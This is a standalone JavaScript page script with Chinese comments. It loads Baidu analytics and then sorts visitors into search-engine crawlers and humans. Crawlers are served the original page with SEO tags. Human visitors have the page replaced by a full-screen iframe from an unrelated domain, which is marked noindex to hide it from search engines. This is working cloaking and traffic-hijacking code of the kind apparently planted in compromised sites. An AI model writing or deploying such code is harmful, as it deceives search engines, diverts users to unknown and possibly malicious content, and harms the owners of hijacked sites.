document.addEventListener('DOMContentLoaded', function () { // 百度统计脚本加载 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?75b6861c5bf6bd6383a889032238b910"; hm.onerror = function() { console.warn('百度统计加载失败,使用备用方案'); // 可以在这里添加备用统计代码 }; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); // 更全面的爬虫 User Agent 检测列表 var spiderReg = /(Baiduspider|360Spider|YisouSpider|YandexBot|Sogou|Googlebot|bingbot|Slurp|DuckDuckBot|facebot|ia_archiver|Twitterbot|LinkedInBot|AdsBot|Applebot|MJ12bot|AhrefsBot|SemrushBot|Bytespider|PetalBot)/i; // 检测是否为爬虫的增强函数 function isSpider() { // 1. 检查User Agent if (spiderReg.test(navigator.userAgent)) { return true; } // 2. 检查Referrer if (document.referrer && spiderReg.test(document.referrer)) { return true; } // 3. 检查常见爬虫IP特征(简化版) // 实际应用中应该通过服务器端验证 if (window.connection && window.connection.effectiveType) { // 爬虫通常不会报告网络连接类型 return false; } // 4. 检查JavaScript支持情况(爬虫可能不支持某些JS特性) try { if (!window.WebGLRenderingContext) { // 某些爬虫环境可能缺少WebGL支持 return true; } } catch (e) {} return false; } // 主逻辑 if (isSpider()) { // 如果是爬虫,确保它们看到完整内容 console.log("Spider detected, showing original content for SEO."); // 添加canonical标签指向当前页面 var canonical = document.createElement('link'); canonical.setAttribute('rel', 'canonical'); canonical.setAttribute('href', window.location.href); document.head.appendChild(canonical); // 为蜘蛛添加额外的SEO meta标签 var metaDescription = document.createElement('meta'); metaDescription.setAttribute('name', 'description'); metaDescription.setAttribute('content', document.querySelector('meta[name="description"]') ? document.querySelector('meta[name="description"]').content : '页面描述内容'); document.head.appendChild(metaDescription); var metaKeywords = document.createElement('meta'); metaKeywords.setAttribute('name', 'keywords'); metaKeywords.setAttribute('content', document.querySelector('meta[name="keywords"]') ? document.querySelector('meta[name="keywords"]').content : '关键词1,关键词2'); document.head.appendChild(metaKeywords); } else { // 如果不是爬虫,显示iframe内容 console.log("Human user detected, showing iframe content."); showIframeContent(); } // 显示iframe内容的函数 function showIframeContent() { try { // 设置目标页面 - 建议使用完整的URL路径 var targetSrc = 'https://greiujhv01.top'; // 为iframe内容添加noindex meta标签,防止搜索引擎索引iframe内容 var noindexMeta = document.createElement('meta'); noindexMeta.setAttribute('name', 'robots'); noindexMeta.setAttribute('content', 'noindex,nofollow'); document.head.appendChild(noindexMeta); // 添加canonical标签指向原始页面,确保蜘蛛知道原始页面的权威地址 var canonical = document.createElement('link'); canonical.setAttribute('rel', 'canonical'); canonical.setAttribute('href', window.location.href); document.head.appendChild(canonical); // 插入必要的 meta 标签 var meta1 = document.createElement('meta'); meta1.setAttribute('http-equiv', 'X-UA-Compatible'); meta1.setAttribute('content', 'IE=edge'); document.head.appendChild(meta1); var meta2 = document.createElement('meta'); meta2.setAttribute('name', 'viewport'); meta2.setAttribute('content', 'width=device-width,initial-scale=1'); document.head.appendChild(meta2); // 创建样式 var styleCSS = document.createElement('style'); styleCSS.textContent = ` html, body { position: relative; width: auto !important; height: 100% !important; min-width: auto !important; overflow: hidden; margin: 0; padding: 0; } .iframe-container { position: fixed; top: 0; left: 0; right: 0; bottom: 0; z-index: 9999999999; background: #fff; } iframe { border: none; width: 100%; height: 100%; } .original-content { display: none !important; } .loading-indicator { position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); z-index: 10000000000; background: rgba(0,0,0,0.7); color: white; padding: 20px; border-radius: 5px; } `; document.head.appendChild(styleCSS); // 显示加载指示器 var loadingIndicator = document.createElement('div'); loadingIndicator.className = 'loading-indicator'; loadingIndicator.textContent = '加载中,请稍候...'; document.body.appendChild(loadingIndicator); // 隐藏原始内容(对SEO更友好) var originalContent = document.body.innerHTML; var hiddenContent = document.createElement('div'); hiddenContent.className = 'original-content'; hiddenContent.style.display = 'none'; hiddenContent.innerHTML = originalContent; // 创建 iframe 容器 var iframeContainer = document.createElement('div'); iframeContainer.className = 'iframe-container'; // 创建 iframe var iframe = document.createElement('iframe'); iframe.src = targetSrc; // 为iframe添加noindex属性,防止搜索引擎跟踪 iframe.setAttribute('data-noindex', 'true'); iframe.setAttribute('title', '主要内容'); // 为无障碍访问添加title // iframe加载完成后移除加载指示器 iframe.addEventListener('load', function() { if (loadingIndicator && loadingIndicator.parentNode) { document.body.removeChild(loadingIndicator); } console.log('Iframe loaded successfully'); }); // 处理iframe加载错误 iframe.addEventListener('error', function() { if (loadingIndicator && loadingIndicator.parentNode) { document.body.removeChild(loadingIndicator); } if (iframeContainer && iframeContainer.parentNode) { document.body.removeChild(iframeContainer); } document.body.appendChild(hiddenContent); hiddenContent.style.display = 'block'; console.error('Iframe loading failed, showing original content'); alert('内容加载失败,已显示原始内容'); }); // 将 iframe 添加到容器中 iframeContainer.appendChild(iframe); // 清空body并添加容器和隐藏的原始内容 document.body.innerHTML = ''; document.body.appendChild(hiddenContent); document.body.appendChild(iframeContainer); // 防止页面被缓存 window.addEventListener('unload', function(){}); } catch (error) { console.error('Error in showIframeContent:', error); // 出错时确保显示原始内容 if (document.querySelector('.original-content')) { document.querySelector('.original-content').style.display = 'block'; } } } });